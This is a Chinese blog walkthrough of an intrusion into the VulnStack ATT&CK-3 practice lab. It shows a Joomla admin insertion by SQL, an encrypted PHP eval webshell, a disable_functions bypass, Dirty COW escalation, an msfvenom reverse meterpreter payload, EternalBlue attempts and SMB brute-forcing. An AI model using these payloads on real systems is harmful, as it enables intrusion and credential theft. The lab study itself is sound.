【红日靶场】红队实战三 - PatrickStar88888888

VulnStack-ATT&CK-3(红日靶场三)_红日靶场 3

红日安全红队靶场(三)一次简单的内网渗透

# 环境搭建

# 网卡设置

Kali 机器只和 Web——Centos 同一网段所以 Centos 双网卡,内外网两张,内网 93 , 外网同 Kali 同网段

总算配置好了,从网段不通到网段通了但是少网卡问题真的是接踵而至,这套环境也真是磨人,靶机重启会丢失之前网卡信息就算了还需要重新登录,我哪里给你找密码啊只能忘记密码然后重置,和重新解压导入才可以,比从网卡丢失到 web 明明开启了 80 服务却无法访问,到 ping 不通等等问题都被一一解决,我总结就是先开乌班图配置好仅主机才能通过 Nginx 反代出端口的服务,实际是它提供服务给了 Centos , 再开 Webcentos 配置为桥接和仅仅主机,再重启网卡,这样就可以了


清空之前靶场的 IP 只留下了需要的,之前一直不太了解虚拟机应该如何去配置内外网,其实只要是准备两个 IP 就可以了,入口的出网机器和攻击机 Kali 同一网段所以两种网卡,完全不出网的机器就纯粹的内网 IP 仅主机模式

入口机器 Web-centos 做如下配置其余机器就全部仅主机, IP 会自动分配好或者自定义但是要配置网段为一致的,第一次装入口机器出了问题,所以还是重新安装了一次,外网网卡选择桥接跟 WIFI 一个段 IP 就可以正常获取到,同时 Kali 机器我也是更换为了桥接,方便扫到 web-centos

主机IP 地址
kali 攻击机172.20.10.3
web-centos外网 IP 172.20.10.2 / 内网 IP 192.168.93.100

# Kali 扫描

扫描 C 段 发现是可以出现的代表前期设置全部完成

1
arp-scan-l   // 扫描本机网卡172.20.10 网段下存活主机

开启 ssh 服务可以尝试靶场 数据库也可以爆破或者远程连接,然后 80 端口就是找 day 打进去

1
nmap -sV 172.20.10.2

# WEB 渗透

访问 80 端口 指纹识别也是一个 CMS 直接找工具就是梭哈,但貌似并没有找到工具能利用

msf 扫描此 cms 版本蛮高的 3.9 没找到什么洞

1
2
3
4
5
6
7
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 172.20.10.2
rhosts => 172.20.10.2
msf6 auxiliary(scanner/http/joomla_version) > run

[*] Server: nginx/1.9.4
[+] Joomla version: 3.9.12

# 目录扫描

dirmap 这玩意扫是真带劲啊,扫描的非常快就给出关键目录,现在逐个去看有没有关键的信息

1
python dirmap.py -u http://172.20.10.2/

1
2
3
4
5
6
7
8
http://172.20.10.2/1.php // phpinfo()页面

http://172.20.10.2/administrator/index.php // 管理员登录页面可以爆破但这里不尝试

http://172.20.10.2/configuration.php~ // 后台配置文件 数据库账号密码可以试试远程连接



1
http://172.20.10.2/index.php/login/  // 用户登录页面

# Mysql 连接

爆破 22 端口和 后台管理员都没有尝试。知道可以这样打就可以了,已经远程进数据库下面可以翻账号然后登录进去后台找功能点进去,或者是尝试写 shell 一句话马连

1
2
3
blic $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';

连接上找到了 am2Zu_users 表里面的密码是加密的的无法直接使用,思路是利用先前探测到的版本号在官网寻找添加密码的语句,重新添加进去注意语句的字段账号为 admin123 密码为 admin

官网文档

1
2
3
4
5
6
7
8
9
10
11
12
13
INSERT INTO am2zu_users
(name, username, password, params, registerDate, lastvisitDate, lastResetTime)
VALUES ('Administrator2', 'admin123',
'433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW());
INSERT INTO am2zu_user_usergroup_map (user_id,group_id)
VALUES (LAST_INSERT_ID(),'8');


// 算法加密后的密码,如需要更换直接替换即可

- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

# 后台 Getshell

添加管理员密码后来到后台页面登录进后台,找编辑模板位置添加一句话马

1
http://172.20.10.2/administrator/index.php 

跟随顺序来到创建文件区域

通过冰鞋马生成,然后复制后直接 Save 保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

上传成功后冰鞋拿这个路径去连接,路径怎么来的我也不知道我也是看文章的,正常要么抓包看要么爆破找,也不费那时间 直接干内网吧

1
http://172.20.10.2//templates/beez3/1.php

# Web-Centos 权限

disable_functions 禁用函数了蚁剑没有执行命令的权限。网络上的方式是下载绕过 isable_funtionspayload , 然后上传服务器指定目录,通过这个脚本在浏览器上使用 POST 方式执行命令会回显

https://github.com/MrAnonymous-1/disable_functions

1
2
3
4
POST: cmd=<command>
// <command>为要执行的系统命令
// 例如:cmd=ipconfig

我装作不知道找到了账号密码,利用 ssh 连接,等同于拿到了 web-centos 权限

1
2
3
4
5
6
/tmp/mysql/test.txt


adduser wwwuser
passwd wwwuser_123Aqx

远控软件 FinalShell 连接

执行命令发现双网卡机器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[wwwuser@localhost ~]$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:32:46:C9
inet addr:172.20.10.2 Bcast:172.20.10.15 Mask:255.255.255.240
inet6 addr: 240e:461:801:a90d:20c:29ff:fe32:46c9/64 Scope:Global
inet6 addr: fe80::20c:29ff:fe32:46c9/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:172092 errors:0 dropped:0 overruns:0 frame:0
TX packets:133642 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:58363078 (55.6 MiB) TX bytes:33450521 (31.9 MiB)

eth1 Link encap:Ethernet HWaddr 00:0C:29:32:46:D3
inet addr:192.168.93.100 Bcast:192.168.93.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe32:46d3/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:131599 errors:0 dropped:0 overruns:0 frame:0
TX packets:137785 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:32872994 (31.3 MiB) TX bytes:22187098 (21.1 MiB)

1
2
name -an // 查看内核版本
Linux localhost 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

现在对于反向代理没有什么概念,只能看靶机文章求证了,现在 Centos 是基于 ubuntu 机器的 Nginx 服务的, ubuntu 机器关了 Centos 也没有服务

1
2
3
4
ps aux | grep nginx 
find / -name nginx
find / -name proxy

这里的问题是其实我蚁剑得到的其实是第二台靶机 ubuntu , 在下文绕过禁用函数后才发现此问题,在脏牛提权步骤我一度以为从这台机器找到的密码是连接 WebCentos 也就是此后台本身的,那么我拿 SSH 终端连肯定是可以执行提权命令的从而上线,但是提权文件一直找不到,SSH 连的确实是 WebCentos 第一台但是蚁剑却是第二台,如果能早点执行命令或者就能知道,这些还是绕过函数后才知道的

1
192.168.93.120  // 第二套ubuntu

我在蚁剑上传提权文件妄想去 SSH 里面执行两个根本是两台机器根本不会成功,我也是粗心没有想到在 SSH 里面传,但解决了问题就好

1
2
3
172.20.10.2  // 外网

192.168.93.100 // 内网

# 脏牛提权

执行命令只是普通用户权限,如果是上传 CS 的马或者 MSF 会无法成功,只能提权内核版本比较老都是使用脏牛提权

EXP

1
2
3
4
whoami     

wwwuser # 普通用户


# 无法执行提权

自从需要提权开始心都要碎了,我明明用 ssh 连接了但就是找不到提权的执行文件,并且目录下面不知道哪来我没看过的文件,真的是离谱,到处翻文件就是执行不了提权,我可是在 ssh 环境下啊,难道系统环境优先级还没有网站环境高吗,如果 ls 文件存在但执行不了没话讲,文件在远控软件存在在终端就没有了

没办法只能直面 disable_functions 遂到处寻找蚁剑的绕过插件,文章也是模棱两可,我一度以为 Windows 是不能使用插件的,因为哪怕我讲下载到了本地 disable_functions 插件放置到工具对应的插件目录但还是不生效

windows,linux 蚁剑下载与安装 与 手动安装插件 disable_function

OK 心态还好,继续找问题 尝试下载 Linux64 版蚁剑到 Kali 可能是系统导致不能使用插件,谁知道下载都不行,可能网速获取其他问题吧

OK 本地下好拷贝过去总行了吧,找到地址了,直接就是我上早八 这么慢,然后转变思路,开梯子采用在线的形式

连接后插件市场就出来了,真是曲折花了 2 个小时弄好,中途真是大脑紧绷血压一度上升,现在有了绕过插件就可以直接执行文件了吧

插件市场打不开如何解决 (qq.com)

蚁剑插件市场打不开解决方法_蚁剑插件市场加载不出来

# 绕过 disable_functions

生成绕过木马也踩了坑因为发现生成了连不上,原来要更换 Webserver 目录为原先的木马,而后进行生成通过最开始的密码连接

1
2
3
4
http://172.20.10.2//templates/beez3/.antproxy.php


密码: saber

蚁剑插件之绕 disable_functions_蚁剑不能执行命令

提权其实不知道怎么好的,文章有些理不清楚一会 mv 复制一会 rm 删除的 但最后还是成功了,让我的 Centos 权限升级为 root 权限 用户是 firefart

1
2
gcc -pthread dirty.c -o dirty -lcrypt  // 编译提权脚本  

# MSF 上线 Linux

完全得到 Centos 权限后需要 MSF 展开后渗透环境,搭建路由横向内网

1
2
3
4
5
Lhost = 攻击机IP 
LRORT= 监听端口

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f elf > mshell.elf

创建针对 Linux 的木马后开启监听,反弹 shell 本地做好工作等待受害者主动连接

msf 生成 linux elf 木马反弹 shell

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 172.20. 10 .3
set lport 8888
run

把木马通过 ssh 上传到第一天机器的目录下,前面通过了脏牛提权有了管理员用户 firefart 但是依旧不能执行此文件,上传后手动改了东西才执行, MSF 上传 exe 得到完整的 Web-Centos root 权限

# 横向移动

获取内网一台主机的权限后,首要目的是得到内网其他存活主机信息,必须先添加路由通讯使我方攻击机可以访问其他机器流量, MSF 工具成功通讯后还需要继续搭建使攻击机所有工具如 nmap 流量都可被访问

我个人理解是针对主机群要做的是存活扫描,确定哪些机器是有效的,整理出 IP 地址 针对单台主机需要做的是扫描开放端口进攻脆弱服务

# MSF 添加路由通讯

1
2
3
route // 打印当前路由
run post/multi/manage/autoroute // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p // 查看当前路由 已经添加好了93网段

  • 其他网段添加路由方式

    1
    2
    3
    route add 192.168.93.0 255.255.255.0 1

    目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1

1
/ew for linux64 -s rcsocks -l 1080 -e 1234

添加路由后由于 ew 反向代理流量失败,攻击机并没有很好的 ping93 网段只能利用 MSF 扫描模块做接下来渗透

1
2
3
use auxiliary/scanner/smb/smb_version  // 使用smb扫描服务
set rhosts 192.168.93.30 // 扫描此靶机PC
run

机器之前重启过再次开机需要账户密码,只能找文章密码登录开机才能扫到,不然是无法扫到 IP , 有密码后使用套件 psexec 登录其他机器

Windows 2008 本地的管理员用户和域管理员的密码

1
2
3
WIN2008\   Administrator:123qwe!ASD

TEST\ administrator:zxcASDqw123!!

1
2
3
4
5
WebCentos

wwwuser
wwwuser 123AqX

主机IP 地址
PC192.168.93.30
win 2008192.168.93.20
win 2012 (域控)192.168.93.10

# smb_login 爆破密码

存活机器开放 445 端口可以尝试爆破和测试永恒之蓝,但是永恒之蓝并没有成功只能尝试爆破模块

1
2
3
4
5
6
7
use exploit/windows/smb/ms17_010_eternalblue 

set rhosts 192.168.93.30
set lport 10001
run


选择爆破模块爆出账户密码,字典文件是我手动弄了两份在桌上上,因为不知道自带的字典有没有密码存在

1
2
3
4
5
6
7
8
use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.93.
set USER_FILE /usr/1.txt
set PASS_FILE /usr/2.txt



自带字典在此目录下,无奈做不完了,代理连不上去,工具不能传.Linux 木马生成不了

1
/usr/share/wordlists/